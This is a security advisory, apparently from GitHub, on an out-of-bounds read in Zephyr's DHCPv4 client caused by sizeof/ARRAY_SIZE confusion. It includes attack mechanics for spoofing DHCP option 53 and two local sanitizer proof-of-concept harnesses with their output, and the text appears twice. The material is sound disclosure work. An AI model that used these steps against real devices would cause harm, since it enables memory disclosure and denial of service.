DHCPv4: out-of-bounds read in net_dhcpv4_msg_type_name() via sizeof(name) byte-vs-element confusion
Summary
subsys/net/lib/dhcpv4/dhcpv4.c::net_dhcpv4_msg_type_name() validates an
attacker-controlled DHCP option byte against sizeof(name) instead of
ARRAY_SIZE(name). sizeof(name) is the byte size of the pointer
array, not the element count, so on every 64-bit Zephyr target
(x86_64 / arm64) the guard accepts msg_type values in
1..64 instead of the intended 1..8, and the subsequent
name[msg_type - 1] performs an out-of-bounds read of up to 56
pointer slots (448 bytes on a 64-bit target) past the end of the rodata
pointer table. The returned wild pointer is then forwarded to
NET_DBG("%s", ...) for dereference.
The same byte-vs-element confusion is duplicated six lines above in
dhcpv4_state_name() (inside an __ASSERT_NO_MSG).
Reachable pre-authentication from any peer on the same broadcast
domain as a Zephyr DHCPv4 client whose net-log level admits DBG
messages.
Affected component
- File:
subsys/net/lib/dhcpv4/dhcpv4.c
- Functions:
net_dhcpv4_msg_type_name() (line 1804), dhcpv4_state_name() (line 1786)
- Subsystem:
CONFIG_NET_DHCPV4 (Zephyr DHCPv4 client)
Affected versions
Confirmed vulnerable on every released tag from v3.6.0 onward and
on the current main branch (commit 78154294, 2026-05-22).
| Tag |
Vulnerable |
main @ 7815429 |
yes |
| v4.4.0 (2026-04) |
yes |
| v4.3.0 (2025-11) |
yes |
| v4.2.2 (2026-03) |
yes |
| v4.2.0 (2025-07) |
yes |
| v4.1.0 |
yes |
| v3.7.2 (LTS) |
yes |
| v3.7.0 (LTS) |
yes |
| v3.6.0 |
yes |
| v3.5.0 and earlier |
not vulnerable (function did not yet exist in this form) |
(Verification: curl -s https://raw.githubusercontent.com/zephyrproject-rtos/zephyr/<tag>/subsys/net/lib/dhcpv4/dhcpv4.c | grep 'msg_type <= sizeof(name)'. Output 1 for every tag above
v3.5.0.)
Vulnerable code
subsys/net/lib/dhcpv4/dhcpv4.c, current main (7815429):
const char *net_dhcpv4_msg_type_name(enum net_dhcpv4_msg_type msg_type)
{
static const char * const name[] = {
"discover", "offer", "request", "decline",
"ack", "nak", "release", "inform", /* 8 entries */
};
if (msg_type >= 1 && msg_type <= sizeof(name)) { /* <-- BUG */
return name[msg_type - 1];
}
return "invalid";
}
Same pattern six lines above:
const char *net_dhcpv4_state_name(enum net_dhcpv4_state state)
{
static const char * const name[] = {
"disabled", "init", "init-reboot", "selecting", "requesting",
"renewing", "rebinding", "bound", "decline,", /* 9 entries */
};
__ASSERT_NO_MSG(state >= 0 && state < sizeof(name)); /* <-- BUG */
return name[state];
}
sizeof(name) on either array is entries * sizeof(char *) =
entries * 8 on a 64-bit target (* 4 on a 32-bit target). The intent
was ARRAY_SIZE(name) = entries.
Reachability
msg_type is the value of DHCP option 53 ("DHCP Message Type"), read
raw from the wire at dhcpv4.c:1389:
case DHCPV4_OPTIONS_MSG_TYPE: {
...
{
uint8_t val = 0U;
if (net_pkt_read_u8(pkt, &val)) { ... return false; }
*msg_type = val; /* full 0..255, no range validation */
}
break;
}
The C enum enum net_dhcpv4_msg_type does not enforce a range, so
msg_type reaches dhcpv4_handle_reply() carrying the attacker's full
0–255 byte. The dispatch switch (msg_type) at dhcpv4.c:1542 itself
only handles OFFER/ACK/NAK and falls through harmlessly for other
values, but the debug log line immediately before the switch calls
the buggy function on every received reply:
/* dhcpv4.c:1539 */
NET_DBG("state=%s msg=%s",
net_dhcpv4_state_name(iface->config.dhcpv4.state),
net_dhcpv4_msg_type_name(msg_type));
NET_DBG(...) expands to LOG_DBG(...), which forwards the %s
argument to the logger backend for strlen() + copy. The
attacker-supplied msg_type ∈ [9, 64] therefore yields a char * that
is loaded from arbitrary memory adjacent to the rodata pointer table,
and is then itself dereferenced by the formatter.
Preconditions for exploitation
- Target is a Zephyr device/application with
CONFIG_NET_DHCPV4=y.
- Net-log level for the DHCPv4 module admits
DBG
(CONFIG_NET_DHCPV4_LOG_LEVEL_DBG=y, common in development builds
and field debug captures; also enabled transitively if a developer
raises the global net log level).
- 64-bit target (x86_64, arm64). On 32-bit targets the guard
accepts 1..32 instead of 1..8 — still buggy, just with a
smaller OOB window.
- Attacker is on the same broadcast domain (DHCP request /
reply / unicast — CONFIG_NET_DHCPV4_ACCEPT_UNICAST=y is on by
default), or has a foothold inside a DHCP relay path.
Attack mechanics
- Attacker observes a victim DHCP DISCOVER/REQUEST on the LAN (or
forges an unsolicited unicast reply if the target accepts unicast,
which is the default).
- Attacker crafts a DHCP reply containing option 53 with a value in
9..64. (For 32-bit targets, 9..32.) The malicious reply must
still pass the normal DHCP reply checks such as BOOT_REPLY, matching
xid, matching chaddr, and expected hlen. An adjacent attacker can
satisfy these by observing the victim's DISCOVER/REQUEST. Once those
checks pass, the buggy debug-log path runs before the switch dispatch.
- The victim parses the option, propagates the unconstrained byte as
msg_type, then logs state=%s msg=%s with the wild pointer.
- The logger dereferences the wild pointer as a C string, producing
either:
- Information disclosure / crash depending on memory layout:
the attacker can select one of the out-of-bounds pointer slots by
choosing msg_type, but does not directly control the pointer value.
If the loaded pointer happens to reference readable memory, the logger
may disclose bytes as a string through the configured log backend.
If it points to unmapped or protected memory, the device may fault.
- Crash (DoS) if the wild pointer lands in an unmapped page or
a region whose contents trigger an MPU fault during read.
Impact
-
Pre-authentication, no user interaction.
-
Information disclosure / crash depending on memory layout:
the attacker can select one of the out-of-bounds pointer slots by
choosing msg_type, but does not directly control the pointer value.
If the loaded pointer references readable memory, the logger may
disclose bytes as a string through the configured log backend. If it
references unmapped or protected memory, the device may fault.
-
Denial of service when the wild pointer resolves to an unmapped
or protected region.
-
Affects DHCPv4 client only. The DHCPv4 server (dhcpv4_server.c)
uses a different code path and was scanned but did not exhibit the
same pattern.
CWE-125 (Out-of-bounds Read) + CWE-682 (Incorrect Calculation), with
CWE-823 (Use of Out-of-range Pointer Offset) as the secondary class
when the wild pointer is dereferenced as a string by the logger.
Severity (CVSS 3.1)
Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L → Base 5.4, Medium
Reasoning per metric:
| Metric |
Value |
Reasoning |
| AV |
Adjacent |
DHCP discovery is link-local; routed reach requires a relay. |
| AC |
Low |
Single, easily-crafted DHCP packet. |
| PR |
None |
Pre-authentication on the network. |
| UI |
None |
No user interaction. |
| S |
Unchanged |
No privilege/scope change. |
| C |
Low |
Bounded info disclosure over the log backend. |
| I |
None |
Read-only bug. |
| A |
Low |
Crash possible but limited to the DHCPv4 client subsystem. |
If the panel decides DHCPv4 across a relay counts as AV:N, the
alternative vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
yields a base of 6.5 (still Medium). The exploit is unauthenticated
and trivial; only the reachability metric is debatable.
Proof of concept
Two self-contained host harnesses are inlined below. Both copy the
vulnerable function from dhcpv4.c verbatim and exercise it; together
they prove the bug under both UBSan (clean type-bound diagnostic)
and AddressSanitizer (clean global-redzone overflow with shadow
map). No Zephyr build, no board, and no DHCP infrastructure is needed
to reproduce — gcc with -fsanitize=... is sufficient.
PoC 1 — UBSan variant: poc_dhcpv4_msg_type_name_ubsan.c
/*
* Manual PoC for the sizeof(name) off-by-bounds in zephyr's
* subsys/net/lib/dhcpv4/dhcpv4.c::net_dhcpv4_msg_type_name()
* (line numbers from upstream commit 78154294, May 2026).
*
* Bug shape:
*
* const char *net_dhcpv4_msg_type_name(enum net_dhcpv4_msg_type msg_type)
* {
* static const char * const name[] = {
* "discover", "offer", "request", "decline",
* "ack", "nak", "release", "inform" // 8 entries
* };
*
* if (msg_type >= 1 && msg_type <= sizeof(name)) // <-- BUG
* return name[msg_type - 1];
* return "invalid";
* }
*
* sizeof(name) is the byte size of the pointer array, not its element
* count. On a 64-bit host that is 8 entries * 8 bytes = 64. The guard
* therefore accepts msg_type values 9..64 and `name[msg_type-1]` reads up to 56 bytes
* past the end of the array. The result is a wild pointer that the caller
* passes to NET_DBG / LOG_DBG, which dereferences it as a C string.
*
* The same pattern is duplicated at dhcpv4.c:1810 in dhcpv4_state_name()
* with the same `name[] of char*` shape and the same wrong `sizeof(name)`
* comparison wrapped in __ASSERT_NO_MSG.
*
* Reachability: msg_type comes from a single byte in the DHCP "Message
* Type" option (53), read raw from the wire at dhcpv4.c:1389
* *msg_type = val; // val is uint8_t from net_pkt_read_u8
* with no range check before being passed to dhcpv4_handle_reply() ->
* net_dhcpv4_msg_type_name(). An attacker on the local broadcast domain
* can spoof a DHCP OFFER/REPLY with msg_type = 9..64 and force the wild
* read on any zephyr client with CONFIG_NET_DHCPV4_LOG_LEVEL_DBG enabled.
*
* Build (no zephyr toolchain needed):
* gcc -fsanitize=address,undefined -fno-sanitize-recover=all -g -O0 \
* poc_dhcpv4_msg_type_name_ubsan.c -o poc_dhcpv4_msg_type_name_ubsan
*
* Run:
* ./poc_dhcpv4_msg_type_name_ubsan
*
* Sanitizer fires (global-buffer-overflow read of size 8) when the loop
* crosses index 7.
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
/* Verbatim copy of the buggy function from dhcpv4.c. The function-static
* `name[]` is hoisted into the global scope so that AddressSanitizer's
* global-redzone instrumentation will fire on the OOB read; the bytewise
* semantics of the bug are identical. */
static const char * const name[] = {
"discover", "offer", "request", "decline",
"ack", "nak", "release", "inform",
};
/* The vulnerable predicate as it appears in subsys/net/lib/dhcpv4/dhcpv4.c. */
__attribute__((noinline))
static const char *net_dhcpv4_msg_type_name(int msg_type)
{
if (msg_type >= 1 && msg_type <= (int)sizeof(name)) {
return name[msg_type - 1];
}
return "invalid";
}
int main(void)
{
/* Element count the guard *should* have used. */
const int real_count = (int)(sizeof(name) / sizeof(name[0]));
printf("sizeof(name) = %zu (byte size of pointer array)\n",
sizeof(name));
printf("ARRAY_SIZE(name) = %d (intended element count)\n",
real_count);
printf("guard accepts msg_type in [1..%zu] but only [1..%d] are valid\n\n",
sizeof(name), real_count);
/* Walk msg_type past the end of the array. ASan should fire on the
* first OOB read (msg_type = 9 -> name[8]). */
for (int msg_type = 1; msg_type <= (int)sizeof(name); msg_type++) {
const char *s = net_dhcpv4_msg_type_name(msg_type);
/* Force the OOB pointer to be dereferenced as a string, mirroring
* what NET_DBG / LOG_DBG would do. Use %p first so we always emit
* something even when %s would crash. */
printf("msg_type=%2d name=%p", msg_type, (const void *)s);
if (msg_type > real_count) {
/* This is the path a real zephyr build with debug logging
* would take after receiving a malicious DHCP packet. */
printf(" -> deref as string: %.16s", s);
}
printf("\n");
fflush(stdout);
}
return 0;
}
Build & run:
gcc -fsanitize=address,undefined -fno-sanitize-recover=all -g -O0 \
poc_dhcpv4_msg_type_name_ubsan.c -o poc_ubsan
./poc_ubsan ; echo exit=$?
Captured stdout (msg_type 1..8 print, then UBSan aborts before
msg_type 9 can print its line):
sizeof(name) = 64 (byte size of pointer array)
ARRAY_SIZE(name) = 8 (intended element count)
guard accepts msg_type in [1..64] but only [1..8] are valid
msg_type= 1 name=0x5ce5ffcf0020
msg_type= 2 name=0x5ce5ffcf0060
msg_type= 3 name=0x5ce5ffcf00a0
msg_type= 4 name=0x5ce5ffcf00e0
msg_type= 5 name=0x5ce5ffcf0120
msg_type= 6 name=0x5ce5ffcf0160
msg_type= 7 name=0x5ce5ffcf01a0
msg_type= 8 name=0x5ce5ffcf01e0
Captured stderr (UBSan diagnostic, process exits with code 1):
poc_dhcpv4_msg_type_name_ubsan.c:67:20: runtime error: index 8 out of bounds for type 'char *[8]'
PoC 2 — AddressSanitizer variant: poc_dhcpv4_msg_type_name_asan.c
/*
* Companion PoC for the sizeof(name) bug in
* zephyrproject-rtos/zephyr subsys/net/lib/dhcpv4/dhcpv4.c
* net_dhcpv4_msg_type_name() (line 1804, upstream main @78154294)
*
* The primary PoC (poc_dhcpv4_msg_type_name_ubsan.c) lets UBSan abort on
* the first out-of-bounds index. This second harness uses ASan only so
* the global-redzone instrumentation reports a clean
* "global-buffer-overflow ... located 0 bytes after global variable
* 'name' ... of size 64".
*
* Build:
* gcc -fsanitize=address -fno-sanitize-recover=all -g -O0 \
* poc_dhcpv4_msg_type_name_asan.c -o poc_dhcpv4_msg_type_name_asan
*
* Run:
* ./poc_dhcpv4_msg_type_name_asan
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
/* Verbatim from dhcpv4.c, hoisted to file scope so ASan globals
* instrumentation sees a global-redzone OOB. */
static const char * const name[] = {
"discover", "offer", "request", "decline",
"ack", "nak", "release", "inform",
};
__attribute__((noinline))
static const char *net_dhcpv4_msg_type_name(int msg_type)
{
if (msg_type >= 1 && msg_type <= (int)sizeof(name)) {
return name[msg_type - 1];
}
return "invalid";
}
int main(void)
{
const int real_count = (int)(sizeof(name) / sizeof(name[0]));
printf("sizeof(name) = %zu ARRAY_SIZE = %d\n",
sizeof(name), real_count);
/* msg_type = 9: first index past the array. NET_DBG("%s", s) would
* strlen() and copy bytes from whatever lies after the rodata pointer
* table — adjacent function pointers or rodata strings. ASan should
* fire here. */
const char *s = net_dhcpv4_msg_type_name(9);
printf("msg_type=9 wild pointer = %p\n", (const void *)s);
fflush(stdout);
/* The "logged as %s" sink. */
printf("deref as string: %s\n", s);
return 0;
}
Build & run:
gcc -fsanitize=address -fno-sanitize-recover=all -g -O0 \
poc_dhcpv4_msg_type_name_asan.c -o poc_asan
./poc_asan ; echo exit=$?
Captured stderr (ASan global-buffer-overflow, process exits with
code 1):
=================================================================
==7588==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5fd317160d40 at pc 0x5fd31715e25c bp 0x7ffdfd97aed0 sp 0x7ffdfd97aec0
READ of size 8 at 0x5fd317160d40 thread T0
#0 0x5fd31715e25b in net_dhcpv4_msg_type_name poc_dhcpv4_msg_type_name_asan.c:36
#1 0x5fd31715e2b6 in main poc_dhcpv4_msg_type_name_asan.c:52
#2 0x71e44982a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#3 0x71e44982a28a in __libc_start_main_impl ../csu/libc-start.c:360
#4 0x5fd31715e144 in _start
0x5fd317160d40 is located 0 bytes after global variable 'name' defined in 'poc_dhcpv4_msg_type_name_asan.c:27:27' (0x5fd317160d00) of size 64
SUMMARY: AddressSanitizer: global-buffer-overflow poc_dhcpv4_msg_type_name_asan.c:36 in net_dhcpv4_msg_type_name
Shadow bytes around the buggy address:
0x5fd317160a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5fd317160b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5fd317160b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5fd317160c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5fd317160c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x5fd317160d00: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 00 00 00 00
0x5fd317160d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x5fd317160e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==7588==ABORTING
Key line: 0 bytes after global variable 'name' ... of size 64. ASan
confirms that the 8-byte load at index 8 falls exactly one element past
the rodata pointer table — i.e., the guard msg_type <= sizeof(name)
permitted a load whose offset is computed from byte size (64) instead
of element count (8). This is precisely the byte-vs-element confusion
described in §"Vulnerable code" above.
End-to-end on Zephyr
A full board-level PoC requires a Zephyr device running dhcpv4_client
with CONFIG_NET_DHCPV4=y and CONFIG_NET_DHCPV4_LOG_LEVEL_DBG=y, and
a malicious DHCP server (or a host running e.g. scapy) emitting an
OFFER / ACK / NAK with option 53 value in 9..64. The host harnesses
above reproduce the identical arithmetic and dereference behaviour
without requiring a board build, and are sufficient to establish the
bug class and severity.
Suggested fix
--- a/subsys/net/lib/dhcpv4/dhcpv4.c
+++ b/subsys/net/lib/dhcpv4/dhcpv4.c
@@ -1797,7 +1797,7 @@ const char *net_dhcpv4_state_name(enum net_dhcpv4_state state)
"decline,"
};
- __ASSERT_NO_MSG(state >= 0 && state < sizeof(name));
+ __ASSERT_NO_MSG(state >= 0 && state < ARRAY_SIZE(name));
return name[state];
}
@@ -1814,7 +1814,7 @@ const char *net_dhcpv4_msg_type_name(enum net_dhcpv4_msg_type msg_type)
"inform"
};
- if (msg_type >= 1 && msg_type <= sizeof(name)) {
+ if (msg_type >= 1 && msg_type <= ARRAY_SIZE(name)) {
return name[msg_type - 1];
}
ARRAY_SIZE() is already in scope through the existing
<zephyr/sys/util.h> chain. Defence-in-depth alternatives that
should also be considered for an LTS backport:
- Validate
msg_type against the small whitelist
{1..8} (or even tighter: the four message types the dispatch
actually handles) before the parser hands it off as msg_type,
i.e. reject out-of-range option-53 bytes at dhcpv4.c:1389.
- Audit other
sizeof(<pointer-array>)-as-bound patterns in the
networking stack — a grep across subsys/net/ should be cheap and
may find sister bugs.
Discovery
Found by an LLM-driven arithmetic-vulnerability scanner. The tool
flagged Phase-2 risk on the <= sizeof(name) comparison; the
hypothesis-generation stage produced an exploit hypothesis; the
automated PoC build stage cannot link Zephyr translation units as
standalone host harnesses, so the host PoC above was hand-written.
Disclosure timeline
- 2026-05-22 — Bug found by automated scan against Zephyr
main
@ 7815429.
- 2026-05-27 — Sanitizer-validated, fix and PoC packaged, reported
privately via this GitHub Security Advisory.
Credits
Reporter: Yoo Seungju.
Patches
For more information
If you have any questions or comments about this advisory:
embargo: 2026-08-01
DHCPv4: out-of-bounds read in
net_dhcpv4_msg_type_name()viasizeof(name)byte-vs-element confusionSummary
subsys/net/lib/dhcpv4/dhcpv4.c::net_dhcpv4_msg_type_name()validates anattacker-controlled DHCP option byte against
sizeof(name)instead ofARRAY_SIZE(name).sizeof(name)is the byte size of the pointerarray, not the element count, so on every 64-bit Zephyr target
(x86_64 / arm64) the guard accepts
msg_typevalues in1..64instead of the intended1..8, and the subsequentname[msg_type - 1]performs an out-of-bounds read of up to 56pointer slots (448 bytes on a 64-bit target) past the end of the rodata
pointer table. The returned wild pointer is then forwarded to
NET_DBG("%s", ...)for dereference.The same byte-vs-element confusion is duplicated six lines above in
dhcpv4_state_name()(inside an__ASSERT_NO_MSG).Reachable pre-authentication from any peer on the same broadcast
domain as a Zephyr DHCPv4 client whose net-log level admits
DBGmessages.
Affected component
subsys/net/lib/dhcpv4/dhcpv4.cnet_dhcpv4_msg_type_name()(line 1804),dhcpv4_state_name()(line 1786)CONFIG_NET_DHCPV4(Zephyr DHCPv4 client)Affected versions
Confirmed vulnerable on every released tag from v3.6.0 onward and
on the current
mainbranch (commit78154294, 2026-05-22).main@ 7815429(Verification:
curl -s https://raw.githubusercontent.com/zephyrproject-rtos/zephyr/<tag>/subsys/net/lib/dhcpv4/dhcpv4.c | grep 'msg_type <= sizeof(name)'. Output1for every tag abovev3.5.0.)
Vulnerable code
subsys/net/lib/dhcpv4/dhcpv4.c, currentmain(7815429):Same pattern six lines above:
sizeof(name)on either array isentries * sizeof(char *)=entries * 8on a 64-bit target (* 4on a 32-bit target). The intentwas
ARRAY_SIZE(name)=entries.Reachability
msg_typeis the value of DHCP option 53 ("DHCP Message Type"), readraw from the wire at
dhcpv4.c:1389:The C enum
enum net_dhcpv4_msg_typedoes not enforce a range, somsg_typereachesdhcpv4_handle_reply()carrying the attacker's full0–255 byte. The dispatch
switch (msg_type)atdhcpv4.c:1542itselfonly handles OFFER/ACK/NAK and falls through harmlessly for other
values, but the debug log line immediately before the switch calls
the buggy function on every received reply:
NET_DBG(...)expands toLOG_DBG(...), which forwards the%sargument to the logger backend for
strlen()+ copy. Theattacker-supplied
msg_type ∈ [9, 64]therefore yields achar *thatis loaded from arbitrary memory adjacent to the rodata pointer table,
and is then itself dereferenced by the formatter.
Preconditions for exploitation
CONFIG_NET_DHCPV4=y.DBG(
CONFIG_NET_DHCPV4_LOG_LEVEL_DBG=y, common in development buildsand field debug captures; also enabled transitively if a developer
raises the global net log level).
accepts
1..32instead of1..8— still buggy, just with asmaller OOB window.
reply / unicast —
CONFIG_NET_DHCPV4_ACCEPT_UNICAST=yis on bydefault), or has a foothold inside a DHCP relay path.
Attack mechanics
forges an unsolicited unicast reply if the target accepts unicast,
which is the default).
9..64. (For 32-bit targets,9..32.) The malicious reply muststill pass the normal DHCP reply checks such as BOOT_REPLY, matching
xid, matching chaddr, and expected hlen. An adjacent attacker can
satisfy these by observing the victim's DISCOVER/REQUEST. Once those
checks pass, the buggy debug-log path runs before the switch dispatch.
msg_type, then logsstate=%s msg=%swith the wild pointer.either:
the attacker can select one of the out-of-bounds pointer slots by
choosing
msg_type, but does not directly control the pointer value.If the loaded pointer happens to reference readable memory, the logger
may disclose bytes as a string through the configured log backend.
If it points to unmapped or protected memory, the device may fault.
a region whose contents trigger an MPU fault during read.
Impact
Pre-authentication, no user interaction.
Information disclosure / crash depending on memory layout:
the attacker can select one of the out-of-bounds pointer slots by
choosing
msg_type, but does not directly control the pointer value.If the loaded pointer references readable memory, the logger may
disclose bytes as a string through the configured log backend. If it
references unmapped or protected memory, the device may fault.
Denial of service when the wild pointer resolves to an unmapped
or protected region.
Affects DHCPv4 client only. The DHCPv4 server (
dhcpv4_server.c)uses a different code path and was scanned but did not exhibit the
same pattern.
CWE-125 (Out-of-bounds Read) + CWE-682 (Incorrect Calculation), with
CWE-823 (Use of Out-of-range Pointer Offset) as the secondary class
when the wild pointer is dereferenced as a string by the logger.
Severity (CVSS 3.1)
Vector:
AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L→ Base 5.4, MediumReasoning per metric:
If the panel decides DHCPv4 across a relay counts as
AV:N, thealternative vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Lyields a base of 6.5 (still Medium). The exploit is unauthenticated
and trivial; only the reachability metric is debatable.
Proof of concept
Two self-contained host harnesses are inlined below. Both copy the
vulnerable function from
dhcpv4.cverbatim and exercise it; togetherthey prove the bug under both UBSan (clean type-bound diagnostic)
and AddressSanitizer (clean global-redzone overflow with shadow
map). No Zephyr build, no board, and no DHCP infrastructure is needed
to reproduce —
gccwith-fsanitize=...is sufficient.PoC 1 — UBSan variant:
poc_dhcpv4_msg_type_name_ubsan.cBuild & run:
gcc -fsanitize=address,undefined -fno-sanitize-recover=all -g -O0 \ poc_dhcpv4_msg_type_name_ubsan.c -o poc_ubsan ./poc_ubsan ; echo exit=$?Captured stdout (msg_type 1..8 print, then UBSan aborts before
msg_type 9 can print its line):
Captured stderr (UBSan diagnostic, process exits with code 1):
PoC 2 — AddressSanitizer variant:
poc_dhcpv4_msg_type_name_asan.cBuild & run:
gcc -fsanitize=address -fno-sanitize-recover=all -g -O0 \ poc_dhcpv4_msg_type_name_asan.c -o poc_asan ./poc_asan ; echo exit=$?Captured stderr (ASan global-buffer-overflow, process exits with
code 1):
Key line:
0 bytes after global variable 'name' ... of size 64. ASanconfirms that the 8-byte load at index 8 falls exactly one element past
the rodata pointer table — i.e., the guard
msg_type <= sizeof(name)permitted a load whose offset is computed from byte size (64) instead
of element count (8). This is precisely the byte-vs-element confusion
described in §"Vulnerable code" above.
End-to-end on Zephyr
A full board-level PoC requires a Zephyr device running
dhcpv4_clientwith
CONFIG_NET_DHCPV4=yandCONFIG_NET_DHCPV4_LOG_LEVEL_DBG=y, anda malicious DHCP server (or a host running e.g.
scapy) emitting anOFFER / ACK / NAK with option 53 value in
9..64. The host harnessesabove reproduce the identical arithmetic and dereference behaviour
without requiring a board build, and are sufficient to establish the
bug class and severity.
Suggested fix
ARRAY_SIZE()is already in scope through the existing<zephyr/sys/util.h>chain. Defence-in-depth alternatives thatshould also be considered for an LTS backport:
msg_typeagainst the small whitelist{1..8}(or even tighter: the four message types the dispatchactually handles) before the parser hands it off as
msg_type,i.e. reject out-of-range option-53 bytes at
dhcpv4.c:1389.sizeof(<pointer-array>)-as-bound patterns in thenetworking stack — a grep across
subsys/net/should be cheap andmay find sister bugs.
Discovery
Found by an LLM-driven arithmetic-vulnerability scanner. The tool
flagged Phase-2 risk on the
<= sizeof(name)comparison; thehypothesis-generation stage produced an exploit hypothesis; the
automated PoC build stage cannot link Zephyr translation units as
standalone host harnesses, so the host PoC above was hand-written.
Disclosure timeline
main@ 7815429.
privately via this GitHub Security Advisory.
Credits
Reporter: Yoo Seungju.
Patches
mainv4.4-branchv4.3-branchv3.7-branchFor more information
If you have any questions or comments about this advisory:
embargo: 2026-08-01